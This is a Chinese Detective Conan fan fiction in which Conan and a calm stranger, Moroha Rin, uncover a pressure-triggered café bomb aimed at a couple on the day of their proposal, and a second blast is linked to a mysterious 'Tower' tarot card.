《[柯南]阿卡夏精神病院》
1. 诸叶凛
午后的咖啡店弥漫着烘焙的暖香,但诸叶凛的注意力,全在窗边那对情侣身上。
女人的低语很柔和,男人的肢体却很僵硬,手指反复摩挲着杯缘,目光一下下瞥向墙上的钟,焦躁几乎要溢出来。
诸叶凛不动声色地收回视线,就在他端起杯子的瞬间,一个稚嫩却充满探究欲的声音突兀地在腿边响起:
“啊咧咧?大哥哥你在看什么啊?”
诸叶凛端杯的手微微一顿,低下头,看清那个戴着大大眼镜的男孩时,他眉梢几不可察地挑了一下。
这个孩子……
一个戴着红色蝴蝶领结的男孩仰起脸,圆润的瞳孔里映着他的倒影,眼底满是好奇,还掺着一丝并未完全掩饰好的怀疑。
柯南已经注意眼前这个男人有一段时间了,越看越觉得奇怪。
对方坐在这里很久,却没有任何等人的迹象,没有拿出手机联络过谁,也没有观察过时间。
但如果说只是打发时间,表情和姿态又没有一点放松时应有的惬意,连举杯的动作都有些不自然的克制。
最重要的是……
柯南仰头在近距离又仔细打量了对方一番。
男人的发色偏深棕,上半用一根细皮筋在脑后随意束在一起,另一半发尾垂在颈侧,几缕碎发落在额前。
那双蓝色的眼睛在温暖的阳光下依旧显得极冷,面容平静,却给人一种难以接近的感觉,有一种与普通人格格不入的冷漠。
这种气质……简直和那天打晕他的黑衣人一模一样!
从在远处看到对方的第一眼起,他脑中属于侦探的直觉就一直在提醒他这个人绝对不简单!
更让他在意的是,对方的视线刚才在那对情侣身上停留了不短的时间。
柯南眯起眼。
难道……他的目标是他们?
他边想着,边伸出手想要揪住对方的衣角,试图利用现在变成小孩子的优势得到一个答案。
然而手刚伸出去,手腕就被握住。
虽然力道不重,但这种反应和警惕程度让他更加确认自己的判断。
这个人果然有问题!
诸叶凛低头,视线与他短暂相接。
看着柯南眼中的警惕,他想了想,抓住对方手腕的右手松开,但没有收回而是顺势做了一个邀请的动作,手掌向上摊开,指尖对着对面的座位。
柯南揉了揉并不疼的手腕,虽然心里仍旧保持警惕,但侦探对真相的渴望终究占了上风。
他抿了下唇,走到对面,坐上那张略显宽大的椅子。
椅面对现在的他来说有些高,双脚悬空,他有些不自在地晃了晃腿。
“现在可以说了吗,大哥哥?”
诸叶凛没有回答,反而拿起杯子,不慌不忙地完成刚才被打断的动作。
温热的牛奶顺着杯壁滑进喉咙,最后落到胃里,感受到胃部的暖意,诸叶凛心情好了不少。
他终于开口,不过依旧不是回答柯南的问题,而是指了指柯南的座位底下:“答案就在那里。”
柯南低头看着坐着的椅子。
这家咖啡厅采用的是欧式风格,座位上铺着一层红丝绒布,布料垂落在四周,座位底下完全被布挡着,从外面什么都看不到。
柯南弯下腰掀起布的一角朝里面看去。
“……!!!”
诸叶凛好心情地看着面前的男孩一下直起腰来,原本游刃有余的脸色也变得很难看。
没等柯南开口问,这次诸叶凛先开口了:“是触发式。”
柯南听到诸叶凛的话,顿时不敢再乱动。
他不敢相信自己刚才看到了什么,座位底下竟然粘着一个炸弹!
而且如果和这个男人说的一样是触发式,那么在他坐上来的那一刻,他的体重就让这颗炸弹启动了!
他看着对面面色平静的男人,突然发觉自己刚才的推理竟然只对了一半。
对方的确是一个对生命漠视的家伙,不过肯定不是那些家伙的一员!
竟然邀请他一个小孩子坐到炸弹上!
就算不在乎他的性命,但如果他只是一个普通的小孩子,面对这种场景肯定会惊慌失措,一旦慌乱下跳下椅子,那他自己也会死啊!
难怪刚才不让他拉衣角,是担心用力后重量改变导致炸弹爆炸吧?
柯南对诸叶凛的印象瞬间刷新,从危险的人变成了一个疯子!
诸叶凛看着对面瞪过来的眼神,很容易就猜到柯南在想什么。
“别这么看着我,我也只是意外被卷进来而已。”
他还是为自己解释了一下,毕竟他并不觉得自己是一个疯子,跟那些真正的疯子比起来,他已经很正常了。
“重点不是这个吧?!”柯南没想到对方竟然更在乎自己怎么看他这件事,“这个到底是怎么回事啊?”
诸叶凛奇怪地看向他:“如果我知道就不会坐在这里了。”
这件事打乱了他不少计划,本来今天是要去警局见见朋友的,现在却不得不停留在这里,不过……应该还是能见到那个人。
柯南也知道诸叶凛起码在这件事情上是无辜的,但他说自己什么都不知道,柯南却完全不会相信。
“你一定知道什么,”他很肯定地看着诸叶凛,“否则你不会一点都不紧张。”
对方刚才的姿态他观察过,虽然的确没有悠闲惬意的感觉,但同时也没有危机迫在眉睫的紧张感。
诸叶凛想了想,没有直接说出自己已知的信息,而是抬了抬下巴,示意柯南看向窗边那对情侣。
“我进来的时候他们正打算坐在这里,不过今天阳光很好,那位女性临时决定换到窗边的位置,这个东西目标应该是他们。”
柯南扭头看过去,但他坐的椅子背朝着窗户,高大的椅背完全挡住了他的视线,他又不敢轻易变换重心探出身体。
看到柯南这幅别扭的样子,诸叶凛也不打算继续逗他了。
“其实你直接下来也没关系。”
在柯南疑惑的目光下,诸叶凛平淡地继续道:“以你的体重根本不足以触发它。”
诸叶凛在发现炸弹后已经自己探查过一遍,这是一个比较粗糙的自制.炸弹,平衡杆设计的并不复杂,按照他的观察和计算,这个炸弹至少需要两个柯南这么重才有可能达到阈值。
柯南赶紧再次掀开一角布料,的确,触发后应该显示的红灯位置并没有亮起,平衡杆也没有触动的迹象,刚才太过震惊以至于他竟然没有注意到这点。
他先在内心反思了一下,然后看向诸叶凛的目光中疑惑更加浓重:“你竟然了解炸弹?”
为了避免恐慌,他说的声音很轻。
诸叶凛点头:“任何人如果身边有一个吵吵嚷嚷
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又对它十分精通的朋友的话,多多少少也会对它有些了解。”
柯南没有怀疑他的解释,这短暂的相处里他大概已经了解了诸叶凛的个性,虽然外表看起来很冷酷,又有点过分的恶趣味,但并没有恶意,不至于在这种事情上欺骗他。
他从椅子上跳了下来,蹲下去仔细检查了一番后,遗憾地摇了摇头。
虽然是比较简单的自制.炸弹,但没有专业设备还是没法安全拆弹。
“你……还没报警吧?”柯南不抱希望地问道。
看到诸叶凛点头后,柯南无奈道:“为什么啊?”
他发现自己完全猜不透诸叶凛的想法,用这种危险的事逗一个小孩子也就算了,坐在炸弹上这么久竟然都不报警?
诸叶凛目光转向窗边那对情侣,男人看着钟表的频率从刚才开始就越来越频繁,此时像是下定什么决心一样突然站了起来。
诸叶凛看了一眼此时的钟表,时针几乎和数字3重合,分针正一点点从59走向0。
“嘘。”
他对柯南比了一个安静的手势,左手托着下巴,看着他们:“时间到了。”
柯南还在疑惑的时候,那边突然响起一个紧张到差点破音的声音:“请嫁给我吧!”
窗边,情侣中的男人单膝下跪,从口袋里拿出一个戒指盒打开,里面的钻戒在阳光下闪着细碎的光。
女人难以置信地捂着嘴,眼中泪光闪动。
男人有些磕绊地说道:“今天是我们相识的第三年,也是我们在一起的第二年。”
“我现在还记得最初我走进这家咖啡厅时,坐在那里的你只是一个侧脸就让我的心脏不受控制地跳动。”
“那时也是下午三点,所以我想在这个充满纪念意义的地点和时刻向你求婚!”
说到这里男人心里还有些许的遗憾,他本来是想在最初遇到她的座位上完成这些的,但她突然选择换了一个位置,不过他当然会听她的,比起这点小小的微不足道的遗憾,还是她的满意更重要。
男人握着戒指盒的手更紧了一些,抬头看向她:“你……愿意吗?”
“我愿意!”女人流着泪扑进男人怀里。
周围瞬间响起一片掌声。
柯南也不禁加入其中,回过神后才意识到诸叶凛那句话的意思。
“所以你是因为不想打扰他们求婚才没有报警吗?”
诸叶凛看向那边幸福又羞怯的小情侣,露出一个淡淡的笑:“人生这么重要的时刻,如果被不重要的事情影响心情就不好了。”
柯南看着他露出的笑,愣在原地。
虽然这个想法很奇怪,危及性命的炸弹竟然被他说成是“不重要的事情”,但不可否认的是,对方竟然意料之外的有温柔的一面呢。
不过想到诸叶凛之前的戏弄,柯南把诸叶凛的标签从疯子默默修改成怪人。
“好了,”诸叶凛看向柯南,“报警的事我来处理,现在,你有一个更重要的任务,小朋友。”
他指了指身下的椅子,又指了指那边即将离开的小情侣:“那个平衡杆你也看到了,并不精确,如果运气好甚至可能不会触发,那么你觉得一个想要杀死他们的人,会做怎样的准备来弥补这一点呢?”
柯南脸色一点点沉了下去,他已经想到了一个概率极大的可能。
“你是说……遥控爆炸?”
2. 颤抖的指尖
诸叶凛点点头,继续将自己之前的分析共享给柯南:“这名凶手现在应该就在商场里。”
“她安装炸弹的时机不会太早,工作日的咖啡店里虽然人不多,但时不时也会有几个人进来坐下,如果安装的太早,很有可能被其他人提前引爆。”
“所以她一定知道他们什么时候会来这里。”
诸叶凛说完这句话后,看着柯南若有所思的样子,没有再多说什么,低头打开手机,指尖快速敲击屏幕。
他现在没有办法走到安静无人的地方,直接打电话报警音量不会小,肯定会引起周围人的恐慌,发传真不仅安全,而且更容易被警察那边重视。
在他打字时,柯南脑中的线索也逐渐串联成一条清晰的线。
——针对情侣。
——清楚他们来咖啡店的时间。
——知道他们习惯坐的位置。
——还有那根并不灵敏的平衡杆。
他抬头,语气里带了几分确认:“……她?”
“看来你已经推理出来了。”诸叶凛抬眼,淡淡一笑。
他突然伸出手,拦住正从身边路过的那对情侣。
“这位先生,有什么事吗?”男人停下脚步,有些困惑。
诸叶凛瞥了柯南一眼,目光示意:“是这位小朋友,他有事想问你们。”
柯南立刻反应过来,揪住女人的袖口,仰头露出小孩子特有的单纯的好奇表情。
“大姐姐,我好像在别的地方见过你们诶,当时还有一个大姐姐也和你们在一起,对吧?”
情侣两人对视一眼,面对柯南这样的小孩子很快放下了戒心。
女人笑着半蹲下身:“你是说衣子吗?她刚才说有点急事先走了,大概是想给我们留点空间吧?”
说完,她的脸颊泛起一抹羞红。
男人揽着她的肩,也笑:“衣子一直这么体贴,今天我打算求婚,她还提前帮我来确认咖啡厅有没有正常营业呢。”
柯南看着面前这对幸福的情侣,嘴角抽了抽。
……你们嘴里体贴的好朋友可是想杀了你们诶。
但只有名字还不够。
时间不多,炸弹迟迟没有爆炸的话,那个叫衣子的女人说不定会直接引爆炸弹。
他正在思索时,后背突然被轻轻推了一下。
“你不是说看到很适合母亲的发型了吗?”诸叶凛的声音低低传来,“虽然那位衣子女士不在,但这位女士应该有她的照片吧?”
柯南眼睛一亮,顺着话头问道:“是啊,大姐姐,你有衣子姐姐的照片吗?”
女人犹豫了一下,但还是被那双亮晶晶的眼睛打动。
她拿出手机,点开相册:“看,这个就是衣子。”
照片中,三人穿着浴衣,背景是烟火大会。
笑容温柔,灯光跳跃。
一头浅棕色长卷发的女性站在两人身边,目光略偏,余光刚好落在男人的方向。
柯南迅速记下她的特征。
“谢谢大姐姐,我记住了!”
接着立刻转身,准备冲出去寻找那个叫衣子的女人。
“为什么这么努力呢?”
诸叶凛托着下巴,歪着头看他。
虽然朋友们也会这么努力,但这位小侦探和他还是第一次见面吧?
“目前陷入危机的只有我,你完全可以离开。”
柯南一愣,随即皱起眉。
那一瞬间,他的神情跟平常在案件现场一模一样。
“你在说什么啊?”他抬起头,语气带着理所当然的坚定,“怎么可能眼睁睁看着无辜的人就这么死掉却什么都不做!?”
说完柯南直接跑出咖啡店,脚步声渐渐远去。
诸叶凛看着柯南的背影。
“……那就拜托你了,”他顿了下,轻笑了一声,“小侦探。”
柯南飞快地跑到扶梯口准备下楼。
他已经推理出凶手现在最可能的位置,就是一楼。
如果凶手就在能看到咖啡厅的位置,完全可以在情侣没有落座原位时现身,然后装作偶然发现炸弹、临时变更计划。
毕竟,炸弹如果只是被拆除,没有造成伤亡的话,警方调查的力度完全不是一个等级。
至于为什么是一楼……
因为那是唯一的出口,而她……会想在那里,等来那个或许会活下来的人。
那根并不灵敏的平衡杆,在柯南脑中一闪而过。
在柯南下楼找衣子的时候,三楼咖啡店的门再一次被推开。
诸叶凛目光从窗外收回,看见三个穿着运动衫的青年一边勾肩搭背一边大大咧咧地走了进来。
“砰。”
最右边的红发青年明显有些分神,一下撞在了玻璃门上。
黑色卷毛戴着墨镜的青年咂了咂舌:“小心一点啊,赤见。”
红发青年捂着额头,不好意思地咧嘴一笑,耳根一下红的和头发差不多。
半长发的青年确认了一下他没什么大碍,接着径直走到柜台前,压低声音和店长说了几句,还拿出一个东西在隐蔽的角落晃了晃给店长看。
店长原本带着职业笑容的脸色逐渐变得僵硬,最后挤出一个牵强的微笑,转身向店里人说道:“……非常抱歉,家里突然出了点急事,今天需要提前闭店,作为补偿,大家的咖啡就免单了。”
店里客人一阵小小的骚动,但看到店长为难的神情又愿意补偿,也就没多说什么。
有位女生临走前还回头安慰了店长一句:“别太担心,会没事的。”
旁边还有人附和:“是啊,一切顺利!”
店长苦笑着点头,连连道谢。
客人陆续离开后,店长把商场这一侧的窗帘都拉上,门也关好,咖啡厅安静下来,只剩下窗外明亮的天光与四道交错的影子。
那三人交换了个眼神,朝诸叶凛这边走来。
松田阵平单手插兜,看着还在淡定喝牛奶的诸叶凛,有点没好气地说道:“你还真悠闲啊。”
诸叶凛淡淡抬头,杯沿映着他蓝色的眼睛:“警官先生们不是也一样么?”
松田阵平右手抬起墨镜看向他。
两人目光在空中相遇,一个平淡一个热烈,但彼此都没有退让的意思。
萩原研二连忙挤进中间,弯腰对诸叶凛笑着摆摆手:“放心吧,我们拆弹很厉害的,绝对不会让你出事。”
红发青年这会儿还在揉额头,看着诸叶凛的目光中隐隐有些水光。
萩原研二走到座位旁,低头掀开椅子垂下的红布,迅速扫了一眼炸弹结构。
他眉梢一挑,自信说道:“很简单的自制.炸弹,结构粗糙,给我一分钟就足够了。”
红发青年放下揉额头的手,走到柯南刚才坐的椅子旁蹲下:“那这边交给我。”
没什么事情做的松田阵平目光不自觉放在了诸叶凛身上。
这家伙发过来的传真和那些普通的报警内容完全不一样,让他在来之前就对这家伙有些好奇。
不仅事件描述清晰完整,连需要注意的事项都说了一遍,更别说还有对炸弹本身的详细描述。
虽然注意事项琐碎到有点被瞧不起的感觉,但如果每个报警人都能这么做,他们倒是能省不少事。
诸叶凛不太习惯被这样盯着看,仰头看过去:“我脸上有什么东西吗,警官先生?”
松田阵平指了指自己:“松田阵平,不要叫什么警官先生。”
诸叶凛点头:“知道了,警官先生。”
“你这家伙!”松田阵平肯定他是故意的!
“啊啊,我叫赤见枫!”对面座位旁,红发青年拆弹到一半突然抬起头。
松田阵平眉头一下皱了起来:“别分心。”
赤见枫连忙低下头继续拆弹,但目光还是时不时飘向诸叶凛。<
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p>与此同时,一楼,藤园衣子正坐在扶梯旁的长椅上,装作随意地滑着手机,眼神却总在不经意间飘向三层方向。
这个商场中庭挑空,五层贯通,从一楼抬头就能观察到三楼的动静。
就在这时,有人从她旁边走过,低声说笑——
“你听说了吗?三楼咖啡厅有人求婚诶。”
藤园衣子一下抬起头,死死盯着那两个说笑的背影,只听那两个人接着说道:
“哇,好浪漫。”
“哈哈,听说是很有纪念意义的地方,才选在这里求婚的。”
“那他们现在还在那里吗?有点想去看看。”
“我刚才下楼前还在,应该还没离开吧?”
对话声逐渐远去,藤园衣子低下头,一点点从口袋里拿出炸弹的遥控器攥在掌心,眼睛直直盯着那个红色的按钮,悬在按钮上的指尖微微发抖。
他们还在,现在还有机会……
柯南刚好看见藤园衣子握着遥控器的一幕,来不及思考,直接从扶梯上翻了出来一跃而下,重重落在地上。
“咚!”
藤园衣子看着突然从天而降的柯南,下意识松开手里的遥控器,赶紧跑过去扶住他:“你没事吧,小朋友?”
柯南顾不上有点发麻的腿,第一时间朝长椅冲去,把落在座位上的遥控器牢牢抓在手里。
他迅速回头,警惕地盯着藤园衣子的动作,生怕她来抢回遥控器。
藤园衣子看着眼前这个眼神坚毅的孩子,又抬头望了望三楼的方向,一直紧绷的肩膀终于垮了下来,长长叹了一口气。
“……虽然不知道为什么是一个孩子找到我,但看来,我的计划失败了。”
“……也好。”
她回到长椅上坐下,仰起头,一道泪水顺着脸颊滑落。
柯南看着她这幅样子,心里的猜测被证实,轻叹一口气,转身跑到一旁,调整变声器,用工藤新一的声音拨通了目暮警部的电话。
“什么?你说已经抓到凶手了?”
商场外,因为诸叶凛的报警已经赶到的目暮警部小声惊讶道。
和松田阵平他们一样,目暮警部也穿着一身便服,目的是不引起潜藏的炸弹犯的注意。
他没想到刚到现场不久,新一就说犯人已经抓到了。
“没错,就在一楼扶梯旁,我让柯南在那里等你们。”
说完直接挂断电话。
很快,目暮警部和高木涉便赶到现场,抓捕过程中,藤园衣子没有任何反抗,低着头,配合地伸出双手让他们铐上。
快要被带上警车时,藤园衣子忽然停下脚步,回头看了一眼商场的方向。
“他们……没事吧?”声音里带着复杂的颤抖。
目暮警部已经从柯南那里了解了大致经过,知道她口中的“他们”指的是那对情侣。
他摇了摇头:“他们都没事。”
藤园衣子听到这句话,松了口气,脸上浮现一抹释然的微笑:“那就好。”
佐藤美和子在旁边皱着眉看她:“你安了炸弹想杀他们,为什么现在知道他们没事又一副安心的样子?”
藤园衣子低下头,声音轻得几乎听不清:“……因为我希望他们死,又不希望。”
高木涉抓了抓头发,完全没听懂。
藤园衣子也没有解释的意思,顺从地弯腰,准备钻进警车。
但就在这时——
“砰!”
一声巨响传来,震得地面都微微一颤。
三楼的角落,商场外侧的玻璃突然炸开,碎片四溅,下面的行人惊叫着四处逃跑,紧接着黑色的浓烟从缺口飘了出来。
“那是……咖啡店的位置?!”
目暮警部第一时间看向藤园衣子,神情凌厉:“怎么回事?!”
藤园衣子也满脸不可置信,连忙摇头:“不是我!我只有一个遥控器,还被你们拿走了!”
3. THE TOWER
三分钟前。
萩原研二拆完弹又检查了一遍,确认已经成功拆除后,站起身,低头看向还坐在椅子上的诸叶凛。
“没问题了,站起来吧。”
他原本还以为要多劝两句,安慰对方别害怕,但话还没说出口,诸叶凛已经很干脆地站了起来。
在这张椅子上坐了这么久,还得保持同一个姿势不能乱动,的确有些累了。
他抬手伸了个懒腰,肩膀骨节轻轻响了一下,放下手时刚好对上旁边那位负责拆弹的警官略带惊讶的视线。
萩原研二看着他,语气带着点感慨:“你还真信任我们啊。”
本以为还得多费点口舌,没想到自己一句话这个人就站起来了。
说着,他笑着伸出右手:“我叫萩原研二,你呢?”
诸叶凛垂眸看了一眼那只伸过来的手,轻轻握住:“诸叶凛。”
炸弹终于解决,萩原研二这才有空认真打量起这位异常淡定的报案人,也是受害人之一。
“诸叶君看起来年纪不大,是大学生吗?”
诸叶凛低头想了想:“现在……应该是二十五岁?”
“应该?”一旁的松田阵平听到他这带着迟疑的语气,没忍住吐槽,“你连自己的年龄都记不清吗?”
诸叶凛点了点头,语气平淡:“嗯,之前受伤昏迷了几年,最近才醒过来,所以对自己的年龄还不太有概念。”
空气在这一刻安静了几秒。
面前的两人都愣了一下,表情里带着短暂的意外。
松田阵平有些别扭地挠了挠头,嘴角扯了扯:“……抱歉,我不是故意的。”
诸叶凛完全不在乎:“没关系。”
就在气氛略有些尴尬的时候,赤见枫突然直起身,带着点得意地扬了扬手:“我这边也完成了!”
两个炸弹被从椅子下小心地拿出来,并排放在桌子上。
萩原研二松了口气,拿出手机:“现在通知他们把防爆箱送上来就可以了。”
四人一起朝咖啡店外走去。
刚走到门口,诸叶凛突然停下脚步,回头盯着桌上的两颗炸弹。
“红灯在闪。”
“嗯?”
松田阵平和萩原研二回头看去,两颗炸弹之间有红色的光芒正在急促闪烁。
“小心!”两人面色同时一变。
离炸弹最近的赤见枫似乎还没反应过来,站在原地没动。
萩原研二眼疾手快,一把将他拽了过来向前扑去。
“滴——滴——砰!”
一声巨响,紧接着是玻璃炸裂的尖锐嘶鸣。
气浪像一只无形的巨掌猛地拍来,视野瞬间被飞溅的晶亮碎片填满。
诸叶凛只觉一股力量将他狠狠扑倒,天旋地转间,有人用身体为他隔开了那片混乱的冲击。
世界安静了一瞬,随即被耳鸣的尖锐蜂鸣取代,鼻腔里满是硝烟和粉尘的刺鼻气味。
他晃了晃晕眩的脑袋,刚抬起,就撞进一双近在咫尺、满是担忧的焦灼眼眸里。
“没事吧?!”松田阵平的声音像是隔了一层水传来,急切又模糊。
诸叶凛摇了摇头,示意自己没事:“你呢?”
松田阵平轻吸着气,撑着地面站起来,肩膀和后背的衣服都有被玻璃碎片划破的细小痕迹,呼吸里带着点咬牙的闷哼。
“一点小伤口,两三天就好了。”他嘴里嘶着气嘟囔,然后伸出手将诸叶凛也拉起来,确认他自己能站住才松开。
他在面前这张没什么表情的脸上停留了一下,接着快速用手掌在对方的头顶和肩膀上一扫,掸掉了几片亮晶晶的玻璃碴。
“啧,这种时候还能这么淡定。”
他还是第一次看到面对爆炸还一点表情变化都没有的家伙。
“啊!萩原前辈,你受伤了!”
一旁突然传来赤见枫的惊呼。
诸叶凛侧头,只见萩原研二坐在地上,后背的衣服被玻璃划开一道长口子,血渍隐约透出来。
赤见枫连忙仔细检查了一遍才松了口气:“还好,只是被玻璃划破,伤口虽然有点长,但不深。”
松田阵平走过来,手法很熟练地扒开萩原研二的衣服又检查了一遍,确认没有更重的伤后面色轻松了不少,还有心情打趣起来:“hagi,你还真倒霉啊,七年前也是被炸弹炸到背,现在又是这里,有时间要不要去寺庙拜拜改改运?”
萩原研二扬了扬眉,嘴角含笑:“小阵平,这种糗事就别反复提了吧?”
就在这时,柯南终于从一楼赶了上来。
爆炸发生后,商场里乱作一团全是想要逃离这里的人,他好不容易才逆着人流挤上来。
看到几个人都安然无恙,他原本紧张的心情逐渐平复。
柯南抬头看向爆炸后的咖啡店,那片本该阳光明亮的地方,此刻只剩下一片漆黑。
他
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快步绕过还残留着玻璃渣的地面,仔细观察着现场。
两个炸弹都已经爆炸,桌面上只留下一点看不出原样的残骸,看不出什么特殊线索。
但柯南肯定这件事绝对不简单。
那三位负责拆弹的警官他之前见过,面对这种简单炸弹绝不至于失手。
而凶手的遥控开关早就被拿走,本人也已经被目暮警部控制起来,炸弹为什么还会炸?
“小朋友。”
身后突然传来一道声音,柯南警觉地回头。
“不用担心,我不是警察,不会赶你出去。”诸叶凛对上他警惕的目光,轻声道。
“但我会!”
柯南刚松一口气,衣领就被人一把拎住。
“又是你,柯南!上次就说过了,不许随便跑进现场!”松田阵平单手拎着柯南,不满地晃了晃。
柯南一边晃悠一边偷偷翻了个白眼,语气很正经地抗议:“松田警官,我也是受害人,这种情况下我当然有权利调查!”
但松田阵平完全不接受这个理由:“小孩子就乖乖待在安全的地方。”
说着直接把柯南放在门外,柯南忍不住噘了噘嘴角,一副不认可的样子。
“还有你!”松田阵平没忘瞪诸叶凛一眼,“别带坏小孩子!”
诸叶凛无辜地摊开双手:“抱歉,不过我只是刚才在这里看到这个,所以——”
他摊开的掌心静静托着一张卡片。
在场的几人目光都被吸引了过去,气氛一下凝重起来。
那是一张塔罗牌。
尺寸略大于普通塔罗牌,牌面质地微微发亮。
爆炸波及处,右下角有一道烧焦的痕迹,焦黑下还能看到表层的透明覆膜被热气掀起一道浅浅的卷曲。
正中央,深灰色的夜空下,一座石砌高塔突兀耸立。
塔身冷灰色,表面布满精细的砖石纹理和裂痕。塔顶被一道闪电劈开,在塔尖炸开一圈微微泛银的火花。
塔身上有几扇漆黑的小窗,塔旁有一缕白烟若隐若现,仿佛爆炸刚刚发生。
最上方是“XVI”,罗马数字十六,压印在浅蓝色横栏上,正下方是英文字母“THE TOWER”,字体纤细,在灯光下隐约有反光。
爆炸的余波非但没有掩盖这张牌的精致,反而让它的存在感更加锋利。
看清诸叶凛手里的东西后,在场除了他以外的四人神色都严肃起来。
4. 神秘组织
萩原研二将牌拿在手里,指腹摩挲,牌面微微发烫,还残留着爆炸余热:“这个触感……没错,是那个家伙。”
松田阵平把牌接过来泄愤般地弹了一下:“怪不得炸弹会再爆炸,又是【高塔】这家伙!”
偷偷溜进来的柯南努力踮起脚尖,但还是看不到牌,有点着急地蹦了蹦。
诸叶凛瞥了他一眼,在松田阵平的盯视下把他抱了起来。
柯南道谢后,目光落在那张【高塔】牌上,心跳不自觉快了一拍。
塔罗牌……
他在之前看到过两张类似的卡片,但与今天不同,那时候他还不是江户川柯南,而是工藤新一。
【审判】
【月亮】
这两张牌每次现身,案发现场都带着难以言说的诡异仪式感。
【审判】每一次出现都是三张,首尾相连摆成完美的三角,静静躺在死者身旁。
中间形成的三角形空缺仿佛一只无形之眼,凝视着现场。
并且无论案件多么血腥,那三张审判总是很干净。
【月亮】则更加残酷,每一次都竖直插在死者头颅正中。
卡面在光下微微发着银光,像是月亮的冷辉。
比起【审判】,【月亮】的信息更多一点,因为他偶尔会与警方合作,接受某些特殊的悬赏任务。
但这种合作极为有限,毕竟【月亮】出手从不留活口,除非目标罪大恶极并且极有可能再次作案,否则警察厅绝不会给【月亮】下悬赏。
所有关于这些牌的传闻,警界内部始终讳莫如深。
没人知道这些卡片主人的真实身份,也没人见过他们的真容。
但有一点,警方内部已经形成了共识,那就是他们绝对不是单独的个体,背后一定有一个极为神秘、精密运作的组织,并且极其危险!
赤见枫有些紧张地问:“那我们怎么办?”
松田阵平耸耸肩:“还能怎么办,上报吧,然后让那些没用的公安去查,反正这么多次了,也查不出来什么。”
他语气有点不屑,低头小声嘟囔。
萩原研二无奈笑了笑:“别这么说啊。”
很快,三人视线又落到诸叶凛和柯南身上。
萩原研二目光顿了顿:“……一起回警局做笔录吧。”
诸叶凛点头应下。
离开商场的路上,他的目光一直落在前面赤见枫的背影上。
赤见枫始终没有回头,那双和头发一样赤红的眼睛却眯了一下。
--
做笔录的房间位于警视厅二楼,天花板的灯散发着冷色调的光芒,空气里带着消毒水与纸张混合的味道。
长桌上摆着几份打印好的表格和录音笔,透过窗缝能听到外面车流的声音。
因为柯南坚持要跟在松田阵平旁边,诸叶凛的笔录被安排由萩原研二负责。
他坐在桌旁,目光漫不经心地停在一侧玻璃墙外。
透过半透明的隔间,可以模糊看到柯南正趴在桌上,目光专注地盯着松田手中的证物袋,那里面正装着那张印有火焰与高塔的塔罗牌。
那个小侦探是想……调查【高塔】吗?
诸叶凛垂下眼,手指轻轻敲了敲桌面。
“你似乎心情不是很好?”
声音从门口传来。
萩原研二用膝盖顶开门,手里捧着两个升腾着热气的纸杯。
他把其中一杯放在诸叶凛面前,语气温和:“喝点水缓和一下心情。”
诸叶凛接过杯子,双手捧着喝了一小口。
“你能看出来?我的那些朋友们总说我一直没什么表情变化,并且为此很苦恼。”
萩原研二笑着摇摇头,坐到对面。
“也不算看出来吧,只是一种感觉。”他一边说着,一边打开笔记本记录。
“听柯南说你很早就发现炸弹,是怎么发现的?”
“声音。”
面对萩原研二投过来的疑惑眼神,诸叶凛抬起右手碰了碰耳朵:“我的听力非常好。”
“比如现在,我就能听到隔壁房间里,衣子女士在说——”
“‘明明是他先靠近我的,可在我动心后,又说只是为了通过我接近宏美!我恨他们,但宏美是我从小一起长大的好朋友,我没办法下定决心杀掉她,所以……’”
萩原研二一脸难受地听着诸叶凛用平静的语气和棒读的口吻,把藤园衣子原本应该极具有情绪的话说的和白水一样平淡。
在诸叶凛还想要继续重复衣子的话时,他连忙摆手:“我知道你的听力很好,这样就足够了!”
萩原研二沉吟片刻:“所以你是坐下之后,听到了炸弹启动的声音?”他轻轻敲了敲笔杆,“难怪在炸弹爆炸之前,你会突然回头。”
事实上,他一开始因此怀疑过诸叶凛是不是那个【高塔】。
那种精准的反应时机,那种冷静得近乎异样的镇定,都让他在心里打了个问号。
正因为这个念头,他才提出要来做笔录。
否则在炸弹案这种案件里,犯人已经被控制、案件基本收尾的情况下,像诸叶凛这样的受害者通常只需要留下联系方式,并不需要正式问询。
诸叶凛点头:“嗯,因为又听到了炸弹启动的声音。”
萩原研二看着他,心中的怀疑渐渐散去。
之后例行地又问了几个流程性的问题后,他合上笔记本,满脸轻松地吐出一口气,露出一个充满亲和力的笑容。
“好了,那就到这里。”
另一边,因为工藤新一参与进这个案件,推理的部分还有其他疑问都可以推给这个身份,本身又只是个小孩子,所以柯南的笔录流程很快走完,但他还不太想离开。
在松田阵平将【高塔】牌交给警察厅来的人前,他揪住对方的衣角:“松田警官,你们似乎对【高塔】不是很气愤的样子。”
“怎么说呢……”松田阵平看着袋子里的塔罗牌,“那个家伙是很可恶,但有些时候也不完全是敌人。”
柯南不解,但松田明显不觉得剩下的话适合他听,直接强硬地把人赶了出去。
他低着头思索,刚走出警视厅,就被收到消息赶来的毛利兰抱住。
“真是的,柯南!又跑到那么危险的地方去!”少女蹲下身,担心地检查着他,语气里带着后怕的责备。
“小兰姐姐,我没事啦!”柯南仰起脸,熟练地换上小孩子乖巧的表情,被牵着离开时,不自觉地又一次回头看向诸叶凛所在的房间。
那个男人,和那张塔罗牌……
属于侦探的直觉让他总觉得这里面还藏着什么不简单的事情。
--
诸叶凛做完笔录,萩原研二主动送他出门。
“辛苦了,诸叶君,那么我先回去了。”
诸叶凛看着他脖子上露出来的绷带,想到对方刚才笔录时的疲惫神情:“萩原君受伤还要继续工作
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吗?”
担心爆.炸物处理班被当作压榨伤员的可怕地方,萩原研二连忙摆手解释:“是我自己还不想休息。”
诸叶凛看着他:“因为那张【高塔】吗?”
萩原研二愣了一下,没想到他这么敏锐,不过还是坦率点头:“嗯,没错。”
他沉默片刻,陷入回忆:“其实这张牌出现得很早,最开始是在七年前,之后陆陆续续也有过,不过【高塔】只跟爆炸案有关,而且每次最多只是有人轻伤,所以警视厅内部一直没太关注,反而是我们爆.炸物处理班对他印象深刻。”
诸叶凛:“七年前?和松田警官说的后背受伤是一件事吗?”
萩原研二有点惊讶地看了他一眼,点头笑道:“你还真细心,这么快就能联系到一起。”
“你猜的没错,当时是在一个公寓,现场有一颗比今天威力大得多的炸弹,装在二十层。就在我们走到十九层的时候,出了点意外,公寓里居然还有没疏散出去的人。”
“那个人你也见过,就是赤见。”
这时赤见枫刚好走了过来:“嗯?我好像听到有人叫我?”
萩原研二看了他一眼,解释道:“我在和诸叶君说七年前第一次见到高塔牌的事。”
赤见枫笑着挤进来:“那件事啊,当时现场和今天差不多呢,多亏萩原前辈把我护在身下才捡回一条命。”
